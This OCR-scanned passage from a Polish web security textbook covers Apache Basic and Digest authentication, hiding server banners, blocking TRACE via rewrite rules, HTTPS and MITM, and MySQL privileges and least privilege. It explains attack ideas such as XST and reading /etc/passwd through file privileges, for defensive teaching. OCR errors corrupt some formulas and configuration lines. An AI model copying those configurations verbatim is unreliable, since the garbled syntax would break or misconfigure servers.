uwierzytelnienia klienta typem Basic. Nalezy zwrdcié uwage, ze w przypadku dyrek-
tywy AuthType ustawionej na Basic hasto zostanie przestane otwartym tekstem
(listing 2.6). Nie jest to dobrym rozwigzaniem, poniewaz przy zwyktej transmisji HTTP
hasto moze zostaé przechwycone i wykorzystane przez osoby niepowotane lub roboty
internetowe. Do prowadzenia uwierzytelniania typu Basic nalezy uzywaé bezpiecz-

nego protokotu HTTPS w celu zamiany postaci jawnej na zaszyfrowanag.
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Listing 2.6. Komunikacja http z uwierzytelnieniem Basic

--- Zwykle zgdanie zasobu ---
GET http://serv:8007/access/ HTTP/1.1

-—-- OdpowiedZ serwera HTTP na zadanie GET ---
HTTP/1.1 401 Authorization Required

Server: Apache/2.2.17 (Ubuntu)
WWW-Authenticate: Basic realm="tajne dane"
Content-Length: 401

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>...</html>

-—- Zadanie zawierajace hasto ---

GET http://serv:8007/access/ HTTP/1.1
Host: serv:8007

Authorization: Basic YWRhbTpOYWpuZWhhc2xv

Zrédfo: opracowanie wtasne

Alternatywag do uwierzytelnienia Basic jest zastosowanie AuthName Digest -
mechanizmu Digest Authentication zgodnego ze standardem (RFC 2617, 2012),
w ktorym wykorzystano transmisje danych niezbednych do przeprowadzenia procesu
uwierzytelniania w postaci chwilowych sum kontrolnych MD5. Zasade obliczania

odpowiedzi przedstawia rysunek 2.9.

HAl = MD5(A1) = MD5(username: rzalm: password)
[1A2 = MD5L{A2) = MD5(method: digestURI)
response — mdb (H1l:nonce: nencelount: clinctNonce: gop: HAZ)

Rys. 2.9. Zasada obliczania odpowiedzi w metodzie Digest Authentication
Zrédhfo: (Digest, 2012)

Parametry uzyte zasadzie z rysunku 2.9 sg nastepujgce:
e username — hazwa uzytkownika,

e realm-— nazwa zasobu,

e password — haslo,

e method — metoda zapytania (znana serwerowi),

e digestURI — URI zapytania,
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e nonce (nonce)— warto$¢ chwilowa (losowa) przestana przez serwer przy zgdaniu
uwierzytelnienia,

e nonceCount (nc) - liczba zgdan wystanych do serwera (fgcznie z biezgcym),

e nocneClinet (cnonce) — warto$¢ losowa generowana przez klienta przy
kazdym zadaniu,

¢ gop (gop) — opcjonalny parametr quality of policy (zwieksza liczbe parametrow).
Uzycie mechanizmu Digest wymaga zmiany konfiguracji i stworzenia nowego
pliku magazynujgcego dane uwierzytelniania przy pomocy narzedzia htdigest.

Przedstawia to listing 2.7.

Listing 2.7. Stworzenie i nadanie hasta nowemu uzytkownikowi w mechanizmie Digest

# htdigest -c /usr/local/apache/passwd/.digest pw "tajne dane" adam
Adding password for adam in realm tajne dane.

New password: tajnehaslo

Re-type new password: tajnehaslo

Zrédfo: opracowanie wtasne

Nastepnie dodawane s3g nastepujgce reguty w pliku .htaccess chronionego

katalogu — listing 2.8.

Listing 2.8. Konfiguracja uwierzytelnienia w Apache - metoda Digest

#ustawienie typu uwierzytelnienia na Digest
AuthType Digest

#nazwa zasobu

AuthName "tajne dane"

#sposdb przetrzymywania danych
AuthDigestProvider file

#wskazanie pliku z danymi

AuthUserFile /usr/local/apache/passwd/.digest pw
#wymuszenie autoryzacji

Require user adam

Zrédfo: opracowanie wtasne

Metoda Digest jest znacznie bardziej bezpieczna od hasta przesytanego
tekstem otwartym. Zmienno$¢ parametréw nonce i cnonce gwarantuje zabezpie-

czenie przed popularnym atakiem powtdrzeniowym oraz wybranym atakiem tekstem
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jawnym. Uwierzytelnienie to nie jest niestety odporne na ataki typu MITM (ang. Men in
the Middle) oraz ataki brutal force i réznego typu ataki stownikowe, dlatego tez

przypisywane hasta powinny by¢ dostatecznie silne same w sobie.
Ograniczenie w dostepie do informacji o serwerze Apache

Dyrektywa ServerSignature okresSla czy serwer powinien wystaé klientowi
informacje o sobie. Sg one dotgczane do stron z komunikatami btedéw i listingdw
katalogéw. Chodzi tu gtéwnie o nazwe serwera http, wersje, system operacyjny i zain-
stalowane rozszerzenia. Dane te pomagajg hakerom w przygotowaniu ataku pod
konkretng wersje oprogramowania. Zaleca sie wytgcznie tej dyrektywy po poprzez
wpisanie ServerSignature=0.

Dyrektywa ServerToken réwniez informuje klienta o serwerze, z tg roznica, ze

dane przesyfane sg w nagtéwku odpowiedzi (listing 2.9).

Listing 2.9. Nagtdwek Server ujawniajgcy nazwe serwera HTTP

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Ubuntu)

Zrédfo: opracowanie wtasne

Domyslna wartosc¢ tej dyrektywy to Full, czyli wszystkie informacje sg wysytane
(listing 2.9). Serwery produkcyjne powinny pracowa¢ z ustawiong wartoscig Prod,

ktora wysyta minimalne informacje.
Wylaczenie zbednych metod HTPP

Poza metodami GET i POST protokdt HTTP oferuje tez szereg innych instrukciji
operujgcych na zasobach serwera. W niektérych modelach serweréw czes¢ w ogole
nie jest uzywana, a innych zostalty zaimplementowane w celach zgodnosci ze
specyfikacjg protokotu HTTP 1.1 (RFC 2616, 2012). Wptyw réznych metod HTTP na

bezpieczenstwo zostat ujety w tabeli 2.5.
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Tabela 2.5. Metody HTTP i wptyw na bezpieczeristwo

Wartos¢ Opis Wptyw na bezpieczenstwo
HEAD Pobiera informacje o zasobie, stosowane
by sprawdzi¢ czy zaséb istnieje.
GET Pobiera zas6b na podstawie URI bedgcego
parametrem tej metody.
POST Przyjecie danych wystanych do serwera
przez klienta (np. formularzem).
PUT Przyjecie danych w postaci pliku Agresor moze wgraé swoj plik na
serwer, a potem go wykonaé.
DELETE Usuniecie zasobu. Mozliwo$¢ skasowania danych
TRACE Diagnostyka potgczenia. Umozliwia ataki XST (ang. Cross
Site Trancing) jako, ze metoda w
odpowiedzi zwraca nagtéwki
zgdania, w tym i dane krytyczne
jak cookies
OPTIONS | Pobiera informacje o opcjach i restrykcjach
kanatu potgczenia.
CONNECT | Uzywane przez serwery posredniczace. Pozwala uzy¢ serwera jako proxy

Zrédfo: opracowanie wtasne

W celu eliminacji tych niebezpiecznych metod nalezy dokona¢ modyfikacji pliku
konfiguracyjnego Apache, by zablokowa¢ zgdania chcgce skorzystaé z niedozwolo-
nych metod HTTP. Konfiguracje, wykorzystujgca czarna liste, przestawia listing 2.10.

Listing 2.10. Nagtowek Server ujawniajgcy nazwe serwera HTTP

#wtacz modul przepisywania adresdéw

RewriteEngine on

#zastosuj warunek bazujacy na czarne]j liscie
RewriteCond %{REQUEST METHOD} * (TRACE |TRACK)
#odrzué¢ potaczenie jesli warunek zostal speiniony
RewriteRule .* - [F]

Zrédfo: opracowanie wtasne

2.3. PROTOKOL HTTPIHTTPS

Protokét HTTP bazuje na danych przesytanych do i od klienta otwartym tekstem
(ang. Plain Text). Istnieje zatem mozliwos$¢ podstuchu i zrozumiatego odczytu transmi-
towanych informacji. Wykorzystujac odpowiednie narzedzia nastuchowe i analizujace
(ang. Sniffer) potencjalny agresor jest w stanie przechwyci¢ dowolne dane
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transmitowane przez HTTP. Zaliczajg sie do nich rowniez dane majgce krytyczne
znaczenie z punktu widzenia bezpieczenstwa takie jak hasta, numery kart
kredytowych, tokeny, identyfikatory ses;ji i inne istotne informacji. Niektére z danych
podlegajg rowniez prawnej ochronie w GIODO (pol. Generalny Inspektorat Ochrony

Danych Osobowych). Schemat podstuchu przedstawiony zostat na rys. 2.10.

POST flegowanie.php HTTRA1.1

user=adminipasswd=t@jn3

@)
=

'

HTTRMN.0 200 OF
<html>..</himl

e

o -

KLIENT

SERWER

Rys. 2.10. Podstuch transmisji protokotem HTTP

Zrédfo: opracowanie wtasne

W celu poprawy bezpieczenstwa i bezpiecznej wymiany danych w roku 1994
firma Netscape Communication stworzyta przeglgdarke Netscape Navigator
wyposazong w pierwsze implementacje protokotu HTTPS (ang. HyperText Transfer
Protocol Secure). Jest to kombinacja protokotu HTTP i SSL/TSL (ang. Secure Socket
Layer/Transport Layer Security), ktéra — w zaleznosci od mocy klucza — zapewnia
skuteczng ochrone transmitowanych danych. SSL/TSL sg protokotami hybrydowymi

uzywajgcymi zaréwno symetrycznego, jak i asymetrycznego, szyfrowania danych.
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Port 437. Preferowane algorytmy szyfrowania i liczba losowa (1)

Ustalenie najsilniejszych mozliwych algorytmow. Przestanie liczby
losowej (2), certyfikatu oraz klucza publicznego serwera.

Po pomysinej weryfikacji certyfikatu serwera klient wysyta
wstepny klucz (3) szyfrowany kluczem publicznym serwera

t./‘\’— )

KLIENT

Strony obliczajg whasciwy klucz symetryczny (4) na
podstawie wstepnego klucza (3) oraz liczb losowych (1), (2)

Klient zawiadamia o przejsciu na transmisje szyfrowanych danych

eluemMouyzs mosjaweled ajusjeisn

\L /’\ Dane szyfrowane s3 symetrycznie kluczem wiasciwym (4).
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Rys. 2.11. Negocjacja potgczenia i transmisja bezpiecznym kanatem HTTPS

Zrédfo: opracowanie wiasne

W protokole HTTPS klient i serwer negocjujg (rys. 2.11) ustawienie optymalnych
(najsilniejszych) algorytmow szyfrowania i innych parametréw (np. wersji HTTPS)
i wysylajg miedzy sobg pewne duze liczby losowe. Serwer wysyla dodatkowo swoj
certyfikat bezpieczenstwa. Klient dokonuje weryfikacji certyfikatu. Jezeli organizacja
certyfikujgca (adresy takich organizacji posiadajg przeglgdarki) potwierdzi
autentycznose¢, certyfikat uznany jest za podpisany i tym samym wiarygodny. Klient
wysyta do serwera wygenerowany wstepny klucz szyfrowania zakodowany
asymetrycznym algorytmem (np. RSA). Nazwa algorytmu szyfrujgcego pochodzi od
nazwisk jego tworcéw: Ron Rivest, Adi Shamir oraz Leonarda Adleman (RSA, 2012).
Na podstawie wczesniej wybranych liczb losowych i klucza wstepnego znanego juz

obydwu stronom obliczany jest klucz wiasciwy po kazdej ze stron oddzielnie.
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Po wymianie komunikatéw gotowosci nastepuje transmisja kodowana szyfrem
symetrycznym, np. ASE (ang. Advanced Encryption Standard), przy pomocy klucza
wiasciwego. Dzieje sie tak (tj. wykorzystanie protokotéw hybrydowych), poniewaz

algorytmy szyfrowania asymetrycznego majg duzg ztozonos¢ czasowa.

pluton.cs.pollub.pl

Tozsamosd niezweryfikowana

Uprawnienia Polaczenie

Bank Polska Kasa Opieki SA

Tozsamosc rweryfikowana
Uprawnienia Polaczenie

Tozsamosé organizacji Bank Polska Kasa
Opieki 5A (Warszawa, Mazowieckie PL)
zostata zweryfikowana przed wystawce
VeriSign Class 3 Extended Validation 551 5GC
CA.

Informacje o certyfikacie

ﬁ Polaczenie z domeng www.pekao2d.pl jest
szyfrowane zz pomoca klucza o diugodci 128
bitow.

Polaczenie z szyfrowaniem TLS 1.0,

Przesytane dane sa szyfrowane za pomoca
algorytru RC4_128, Metoda uwierzytelniania
komunikatdw to MD5, a mechanizm
wymiany kluczy to RSA,

Polgczenie nie korzysta z kompresji protokotu
SsL.

Informacje o witrynie
Strona zostata odwiedzona po raz pierwszy w
dniu 3 wrz 2012,

Co to oznacza?

Tozsamosd witryny nie zostata
zweryfikowana,

« Certyfikat serwera jest niezgodny 7 adresem
URL.

» Wainosé certyfikatu serwera wygasta.

» Certyfikat serwera nie jest zaufany.

« Certyfikat serwera zostat podpisany przy
uzyciu stabege algorytmu podpisu,
Informacje o certyfikacie

ﬁ Potaczenie z domena pluton.cs.pollub.pl jest
szyfrowane za pomeca klucza o diugoeéci 256
bitéw.

Potaczenie z szyfrowaniem TLS 1.0,

Przesytane dane sa szyfrowane za pomoca
algorytmu AES_256_CBC, Metoda

uwierzytelniania kemunikatéw to SHAL a
mechanizm wymiany kluczy to DHE_RSA.

Potaczenie nie korzysta z kompresji protokolu
S5L.

Serwer nie obstuguje rozszerzenia ponownej

negocjacji protokotu TLS.

Informacje o witrynie
Strona zostata odwiedzona po raz pierwszy w
dniu 31 sie 2012,

Co to oznacza?

Rys. 2.12. Rezultat weryfikacji serweréw w protokole HTTPS

Zrédfo: opracowanie wtasne

Ceny certyfikatow bezpieczenstwa w organizacjach certyfikujgcych sg bardzo
zroznicowane. Zalezg miedzy one innymi od mocy szyfrowania i uniwersalnosci
zastosowania. Mogg réwniez obstugiwaé tzw. dzikie karty (ang. Wild Cards), czyli
sub-domeny (*.nazwadomeny.pl) oraz multi-domeny — jeden certyfikat wowczas
pozwala na obstuge wielu domen. Certyfikaty na ogét nalezy wymienia¢ raz do roku.
Ich ceny wahaja sie od 50 do nawet kilku tysiecy PLN. Istnieje mozliwos¢ podpisania
certyfikatu samodzielnie, jednak nie ostanie on wtedy pomysinie zweryfikowany przez
organizacje certyfikujgcg — rysunek 2.12.
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Korzystanie z niezweryfikowanego serwera umozliwia atak typu MITM (ang. Men

in the Middle, pol. cztowiek w srodku). Jego idee przedstawia rysunek 2.13.

Zatrucie DNS
Falszywy certyfikat Certyfikat oryginalny
Zmanipulowany klucz Symetryezny klucz whasciwy
Dane oryginalne lub zmienione Dane aryginalne
-1 = Poufne Informacje
¢ orma
- - -

Rys. 2.13. Schemat ataku typu MITM wtasnorecznie podpisanego certyfikatu

Zrédfo: opracowanie wtasne

Za obstuge certyfikatow bezpieczenstwa i potgczen HTTPS odpowiedzialny jest
w serwerze Apache dedykowany do tego celu modut mod ssl. Umozliwia on
uruchomienie (domysinie na porcie 443) bezpiecznego serwera hipertekstu (Barnet,
2007). Nalezy mie¢ na uwadze, ze strony uzywajgce potgczen szyfrowanych zuzywajg
duze ilosci zasobdéw do obstugi proceséw kryptograficznych. Dodatkowo przegladarki
informujg uzytkownika, kiedy na stronie znajdzie sie obiekt niepochodzacy
z bezpiecznej lokalizacji (np. obrazek dostgpnosci na komunikatorze Gadu-Gadu
pobrany z witryny producenta przez zwykty protokét HTTP). Monity o niepotwierdzone;j
zawartosci pojawiajg sie nawet wowczas, kiedy réznica w adresie polega jedynie na
protokole, a cata reszta URL jest stata. Z racji tego rozsadnym rozwigzaniem jest
podzieli¢ zasoby serwisu na te o znaczeniu krytycznym (np. zmiana hasta czy
logowanie) i te mniej wazne z punktu widzenia bezpieczenstwa np. czytanie
artykutow, a szyfrowanie SSL stosowac jedynie dla tych pierwszych. Dodatkowo, Paul
Irish (deweloper przegladarki Google Chrome, autorytet technologii WEB'owych)
zaleca uzywanie adresow wzglednych, charakteryzujgcych sie podwdjnym ukosnikiem
na poczatku (np. /fimages/logo.gif) (Irish, 2010).

Nalezy zwréci¢ uwage, ze szyfrowanie potgczenia chroni jednie przed jego
podstuchaniem i nie ma zadnego wptywu na poprawno$¢ przekazywanych z i do

aplikacji danych. Wszelkie punkty wejscia i wyjscia pozostajg w takim samym stanie
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jak przy uzyciu zwyktego, nieszyfrowanego HTTP. Jedyng zmiang z punktu widzenia
programisty aplikacji internetowych jest wprowadzenia procesu negocjacji potgczenia
i dodanie "s" przy protokole w adresie URL.

2.4. SERWER BAZY DANYCH | JEGO OCHRONA

Baza danych to zbiér wzajemnie powigzanych danych, przechowywanych w zew-
netrznej pamieci komputera. Serwer bazy danych jest to program, ktéry udostepnia
dane i operacje na nich dla aplikacji zewnetrznych. W przypadku aplikacji interne-
towych serwery baz danych nalezy traktowaé jako komponenty, czyli tzw. czarne
pudetka (ang. Black Box), do ktérych aplikacja wysyta zapytanie (zwykle w jezyku
SQL) i otrzymuje dane. Sytuacje tg obrazuje rys. 2.14.

i Adapter
> - bazy danych
F i ‘,‘_ o np. mysgli, mssql, >
. ; PostgreSQL, PDO,
Lg ~ SQLite
Aplikacja (PHP) Serwer bazy Baza danych

danych (deamon) (magazyn)

Rys. 2.14. Baza danych jako komponent aplikacji

Zrédfo: opracowanie wtasne

Z punktu wiedzenia bezpieczenstwa, bazy danych sg magazynami przechowu-
jacymi informacje na potrzeby aplikacji. Informacje te mogg mie¢ status danych
osobowych (imie i nazwisko, email, PESEL, NIP, adres) lub by¢ krytycznymi z per-
spektywy integralnosci i poufnosci (identyfikatory, tokeny, numery kart kredytowych,
hasta, kody promocyjne itp.). Zabezpieczenie przed wyciekiem takich danych, ich
zewnetrzng manipulacjg lub catkowita utrata to zadanie zaréwno tworcow aplikacji jak

i administratora serwera bazy danych.
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Uwierzytelnianie w MySQL

Z serwerem bazy MySQL potgczenia mozna dokona¢ bez uzycia danych
uwierzytelniajgcych, ktorymi jest zestaw nazwa uzytkownika i hasto. Jesli klient nie
poda tych danych to serwer automatycznie uzyje nazwy uzytkownika root i pustego
hasta. Root jest specjalnym super-uzytkownikiem, ktéry ma dostep do wszystkich
struktur bazy. Nalezy podkresli¢, ze przy instalacji bazy danych MySQL, uzytkownik
ten nie posiada hasta. Sami tworcy bazy MySQL odradzajg pozostawianie pustych
haset, by méc zastosowaé proces uwierzytelnienia i utrudni¢ napastnikowi podszycie
sie pod innego uzytkownika.

MySQL posiada mozliwos¢ przypisania klientom hostow, z ktérych moga
dokona¢ potgczenia. Konfiguracja nazwy hosta znajduje sie w tabeli mysgl.user
w polu 0 nazwie host. Jezeli adres klienta nie zostanie pomysinie poréwnany z polem
host, to préba uwierzytelnienia nie powiedzie sie bez wzgledu na poprawnos¢
wprowadzonych danych. Tabela 2.6 przedstawia, w jaki sposéb mozna skonfigurowac
baze MySQL pod katem sprawdzania adresu klienta.

Tabela 2.6. Zasada kontrolowania hostu uzytkownika

Wartos¢ pola host Akceptowane adresy
% dowolny host
localhost tylko z komputera na ktérym zainstalowano baze
127.0.0.1 jw.
domena.pl tylko z domeny domena.pl
%.domena.pl dowolna subdomena domeny domena.pl
123.45.67.89 tylko host o IP 123.45.67.89 (mozna uzywac tez IPv6)
123.45.67.% dowolne host z podsieci 123.45.67.*

Zrédfo: opracowanie wtasne

System uprawien w MySQL

Jezeli uzytkownik przejdzie poprawnie proces uwierzytelniania, serwer oczekuje na
przyjecie od niego instrukcji (np. zapytan SQL). Kazda instrukcja zostaje poddana
analizie w celu ustalenia, czy uzytkownik ma prawo sie nig postugiwac. MySQL
przechowuje zasady autoryzacji w liscie kontroli uprawien ACL (ang. Allow Control

List). Odpowiednie jej wpisy odnajdywane sg za na podstawie nazwy uzytkownika
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i hostu. Ogodlnie wyréznia sie podziat na 4 poziomy, ktéry przedstawiono w tabeli 2.7

(wszystkie tabele znajdujg sie bazie danych nazwanej mysql).

Tabela 2.7. Poziomy uprawnierr w MySQL

Poziom Tabele Opis
uprawnien skltadowania

globalne user uprawnienia obowigzujg na dowolnych obiektach

baza danych db uprawnienia obowigzujg w obrebie bazy danych

baza danych host uprawnienia obowigzujg w obrebie bazy danych dla
uzytkownikéw z danego hosta

tabela tables priv uprawnienia obowigzujg w obrebie wszystkich
kolumnach danej tabeli

kolumna columns_priv | uprawnienia obowigzujg w obrebie danej kolumny
tabeli

Zrédio: (Sobstel, 2007)

Podczas realizacji polecen (operacji) serwer MySQL sprawdza na poczagtku
uprawnienia globalne, nastepnie uprawienia na poziomie bazy danych, tabeli
i kolumny. Jezeli system nie odnajdzie odpowiedniego wpisu autoryzujgcego
uzytkownika, polecenie zostaje odrzucone (Sobstel, 2007). Zbior wszystkich uprawien
dostepnych w MySQL przedstawia tabela 2.8. W serwerze MySQL istnieje mechanizm

dziedziczenia uprawnien.
Zasada najmniejszych uprawien

Aplikacja internetowa za pomocg odpowiednich sterownikéw dokonuje potgczenia
z serwerem bazy danych i na prawach poprawnie uwierzytelnionego uzytkownika
przesyta do niej instrukcje (zapytania). Odpowiedzi serwera sg wykorzystywane przez
kod aplikacji, a wynik obliczen jest na ogét zwracany uzytkownikowi serwisu. Jezeli
agresor zdota wywrze¢ wplyw na zachowanie kodu aplikacji (np. przez wstrzykniecie
wlasnych polecen) to moze dokonywac nieprzewidzianych przez tworcéow aplikacji
operacji na bazie danych z prawami potgczonego uzytkownika. Jedli agresorowi uda
sie przypisaé wszelkie prawa do bazy to bedzie moégt w sposdb nieograniczony

przejac, zmanipulowac lub catkowicie usung¢ wszystkie magazynowane zasoby.
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Tabela 2.8. Dostepne uprawnienia w MySQL

Uprawnienie

Kolumna

Kontekst

CREATE Create priv Baza danych, Tabela, Indeksy

DROP Drop priv Baza danych, Tabela,
Perspektywy

GRANT OPTION Grant priv Baza danych, Tabela,
Procedura skltadowana

REFERENCES References priv Baza danych, Tabela

EVENT Event priv Baza danych

ALTER Alter priv Tabela

DELETE Delete priv Tabela

INDEX Index priv Tabela

INSERT Insert priv Tabela, Kolumna

SELECT Select priv Tabela, Kolumna

UPDATE Update priv Tabela, Kolumna

CREATE TEMPORARY | Create tmp table priv | Tabela

TABLES

LOCK TABLES Lock tables priv Tabela

TRIGGER Trigger priv Tabela

CREATE VIEW Create view priv Perspektywa

SHOW VIEW Show view priv Perspektywa

ALTER ROUTINE

Alter routine priv

Procedura skltadowana

CREATE ROUTINE

Create routine priv

Procedura skltadowana

EXECUTE Execute priv Procedura sktadowana
FILE File priv Dostep do plikéw

CREATE USER Create user priv Administracja serwera
PROCESS Process priv Administracja serwera
RELOAD Reload priv Administracja serwera

REPLICATION CLIENT

Repl client priv

Administracja serwera

REPLICATION SLAVE

Repl slave priv

Administracja serwera

SHOW DATABASES

Show db priv

Administracja serwera

SHUTDOWN

Shutdown priv

Administracja serwera

SUPER

Super priv

Administracja serwera

ALL [PRIVILEGES]

Administracja serwera

USAGE

Administracja serwera

Zrédio: (Sobstel, 2007)

Oferowane mozliwosci konfiguracyjne bazy danych MySQL pozwalajg na

tworzenie wielu kont (rél) z przypisanymi odpowiednimi uprawieniami. Dzieki wtasci-

wym gospodarowaniem prawami do wykonywania odpowiednich czynnosci w bazie

danych mozna zabezpieczy¢ aplikacje przez skutkami zwigzanymi ze ztamaniem

zabezpieczeh na innych jej warstwach — jest to realizacja modelu ochrony dogtebnej

(Cerekwicki, 2008). Zwykle stosuje sie model nadania minimalnie potrzebnych

uprawnien dostepu. Rysunek 2.15 ilustruje przyktadowg aplikacje, gdzie prawa
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uzytkownikobw bazy danych zostaty nadane wedtug realnych potrzeb wykorzystania

funkcjonalnosci w aplikacji i zasada najmniejszych (minimalnych) uprawnien.

Préba odnalezienia luki zakoriczona sukcesem ?

Agresor M 0000 M
Aplikacja
Dostep

1 1
1 1
- _ 7 _ v - _ _ A _ 1
' 1
1 1
| | | 1
1 A 1
. publiczny I
! a1 S v S i !
L P N arm e\ opm [ 1
] ]
: -, - -y NP ||
| L o L o L o 3 ,
: | czytanie logowanie publikacja usunie arykutu, [
, arykutdéw, w seriwsie artykutu, usuniecie komentarza | :
| | wglad do edycja artykutu dodanie, usuniecie, |
| | kategorii, zmiana zarzadzanie |
! zapis logéw, hasta uzytkownikami |
" dodanie Wymaga [
| komentarza uwierzytelnienia I
o 1
VL | 1
1 1
5 i 1 1
Uzytkowplk adam‘ X ¢ ¢ ¢ ¢ .
z petnymi prawami , ,
nie jest powigzany | 1
z aplikacja 1 |
1 1
1
| basic login autor super :
[ R S I I
- - Bazadanych --------- i —————————— 1 —————————— 1 —————————— l ————————
Tabele: Uprawnienia:
users SELECT, UPDATE INSERT, UPDATE, DELETE
N eWS SELECT INSERT, UPDATE DELETE,UPDATE
comments SELECT, INSERT DELETE
categories SELECT
|ogs INSERT SELECT

Rys. 2.15. Polityka przydzielania najmniejszych uprawien - przykftad

Zrédfo: opracowanie wiasne
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Przyktadowa aplikacja (z rysunku 2.15) z =zalozenia prezentuje tresci
wprowadzane przez jego uzytkownikow (tresci sg przechowywane w tabelach news
i comments). Kazdy artykut mozna przeczytaC i komentowa¢ bez koniecznosci
logowania. Serwis podzielony jest tematycznie na state kategorie (przechowywane
w tabeli categories). Tylko uzytkownik oznaczony na rysunku 2.15 jako super ma
dostep do funkcji, przy pomocy kitorej moze dodawaé nowych autoréw (uzytkow-
nikdw), edytowac i usuwac istniejagcych (operacje na danych w tabeli users). Moze
on rowniez kasowac¢ komentarze, ktére mogg zosta¢ napisane przez kazdego. Prébe
uwierzytelniania moze podjg¢ kazdy, ale zmiane hasta moze dokona¢ tylko zalogo-
wany uzytkownik (w tabeli users). Niektére czynnosci sg zapamietywane w dzienniku
historii aplikacji, czyli w tabeli 10gs. Proponowany podziat oraz struktura bazy danych
jest umowny i wprowadzono go tylko na potrzeby zilustrowania problemu.

W aplikacji zdefiniowano pieciu réznych uzytkownikow bazy danych (rysunek
2.15). Nalezy zwrdcic uwage, ze uzytkownicy ci nie sg rolami w rozumieniu
uzytkownika aplikacji. Uzytkownicy ci sg wykorzystywani do potaczenia z bazg danych
w zaleznosci od potrzeb funkciji aplikacji. Do przeczytania artykutu zostanie wywotana
w aplikacji funkcja pobrania go z tabeli i odpowiedniego sformatowania. Taka funkcja
korzysta jedynie z polecenia SELECT i nie ma potrzeby przydzielania dodatkowych
praw uzytkownikowi. Wszystkie czynno$¢, ktére moze dokonaé niezalogowany
uzytkownik warto spisa¢ i utworzy¢ uzytkownika bazy danych posiadajgcego tylko
niezbedne uprawnienia (uzytkownik: basic z rysunku 2.15).

Najistotniejsza w przyktadowym (rysunek 2.15) serwisie — z punktu widzenia
bezpieczenstwa — jest tabela users. Zawiera ona loginy, hasta, emaile i dane
osobowe. Aby dokona¢ procesu uwierzytelnienia nalezy poréwna¢ dane wprowa-
dzone przez uzytkownika z odpowiednimi polami tej tabeli. Uzytkownikowi trzeba dac
tez mozliwos¢ zmiany hasta. W obydwu przypadkach koniecznym bedzie opatrzy¢ te
funkcje aplikacji dos$¢ rygorystycznymi restrykcjami. Do obstugi tych funkcji
zastosowano potgczenie na prawach uzytkownika 1ogin.

Zalogowany uzytkownik ma dostep do takich funkcji jak pisanie artykutu i jego
edycja, a aplikacja do realizacji tych funkcji uzywa potgczenia poprzez zdefiniowanego

uzytkownika autor.
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Specjalny uzytkownik super (od ang. Supervisor) bedacy administratorem
serwisu ma prawo do wielu waznych czynnosci (np. usuwanie i edycja
uzytkownikéw), jednakze aby uzyska¢ do nich dostep wpierw powinien przejsc¢
uwierzytelnienie, a potem system musi go zidentyfikowa¢ na podstawie specjalnej
flagi i przydzieli¢ autoryzacje na dokonywanie waznych czynnosci. Potgczenie
nawigzywane jest przez uzytkownika super.

Jezeli agresor dokona przetamania zabezpieczen na publicznych stronach
serwisu — ktoére de facto sg najbardziej eksponowane — to i tak dysponuje tylko
potgczeniem z bazg danych jako uzytkownik basic i wszystkie dostepne dane nie
réznig sie od tych, ktore serwis i tak udostepnia. Jezeli hacker jest jednak
uzytkownikiem, ktéry ma nieco szersze pole do dziatania, to moze przykladowo — po
odnalezieniu odpowiedniej luki — zmieni¢ tres¢ cudzego artykutu (czy np. ustawi¢ na
pustg). Nie moze natomiast ustawi¢ sobie flagi administratora, poniewaz dostep do
tabeli users wcigz jest zabroniony. Dodatkowo, nalezy zauwazyé, Zze wszelkie
czynnosci istotne z punktu widzenia funkcjonowania serwisu i jego bezpieczenstwa sg
zapisywane w tabeli logs, ktérej zaden z uzytkownikéw wykorzystanych przez
aplikacje nie jest w stanie zmieni¢ (brak uprawnienia UPDATE i DELETE). Dzieki
temu zyskuje sie bezpieczny magazyn danych, ktory przetrwa nawet jesli wszystkie
inne tabele bazy danych zostang wyczyszczone. Waznym jest tez fakt, ze zbior
uprawnien zostat ograniczony do podstawowych polecen i nikt nie ma prawa wykonaé
operacji DDL (ang. Data Definition Language) takich jak DROP, ALTER, TURNCATE
czy CREATE. Nie mozna tez uzy¢ polecen GRANT i REVOKE operujgcych na
przywilejach istniejgcych uzytkownikow.

Ostatecznie nalezy zauwazy¢, ze na rysunku 2.15 umieszczony zostat takze
uzytkownik bazy danych o nazwie adam. Jest to konto odseparowane od catego
serwisu — w konfiguracji aplikacji nie znajduje sie zaden wpis zawierajgcy dane
uwierzytelniajgce dla tego konta. Uzywane jest ono tylko do zmian w strukturze bazy
danych, skasowania zto$liwych komentarzy, dodania nowych kategorii lub spraw-
dzenia dziennikéw. Hasto do tego konta powinno byé regularnie zmieniane w celu
zmniejszeniu czasu jego trwatoSC i na ewentualnos¢ przechwycenia przez osoby

trzecie.
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Ograniczenie dostepu do serwera MySQL i plikow

MySQL posiada tez mozliwos¢é ograniczenia globalnego dostepu do catego serwera
bazy danych. W pliku konfiguracyjnym znalezé mozna dyrektywe bind-adress
odpowiadajgcg za adres na ktérym nastuchiwaé na serwer (domysinie na porcie
3306). Dyrektywa ta moze przyjg¢ wartos¢ 127.0.0.1 — wtedy serwer bazy danych
nastuchiwa¢ bedzie potgczen jedynie z hostu lokalnego (brak mozliwosci potaczenia
dla zewnetrznych hostéw). Jest to duzo bezpieczniejsze, jezeli aplikacja wykonywana
jest na tym samym hoscie, gdzie pracuje serwer bazy danych MySQL. Aby umozliwi¢
dostep z zewnatrz nalezy w pliku konfiguracyjnym (na ogoét /etc/mysgl/my.cnf)
wartos¢ dyrektywy na 0.0.0.0 wtedy serwer nastuchiwa¢ bedzie potgczen przez
protokot TCP. W przypadku potgczen zewnetrznych warto zastanowi¢ sie nad jego
kodowaniem SSL, ktére utrudni podstuch przesytanych w sieci informacji.

Systemy operacyjne Unix/Linux posiadajg standardowy system uprawnien. Pliki
posiadajg swoich wiascicieli, ktorzy kolei przypisani sg do grup. Waznym jest by nie
uruchamia¢ serwera MySQL na prawach super-uzytkownika root, poniewaz przy
wigczonej obstudze plikow i odpowiednio nadanych uprawnieniach uzytkownikéw
bazy mozliwe jest stworzenie sytuacji, w ktérej realne bedzie zapisanie i/lub pobranie
dowolnego pliku hosta, na ktéorym zainstalowano serwer MySQL. Jezeli osoba
atakujgca, a nawet uzytkownik bazy danych, jest osobg znajgcg chociaz troche
architekture systemow Unix, bez ktopotéw wydobedzie cenne informacje np. plik
/etc/passwd, a nawet przejmie kontrole nad catym hostem.

Jezeli musimy zezwoli¢ na operacje na plikach nalezy ustawi¢ opcje
konfiguracyjng --secure-file-priv=path podczas rozruchu serwera (Babol,
2011), ktora precyzuje katalog, w ktérym mogg sie one odbywac. Opcje tg mozna
ustawi¢ rowniez w standardowym pliku konfiguracyjnym /etc/mysqgl/my.cnf.
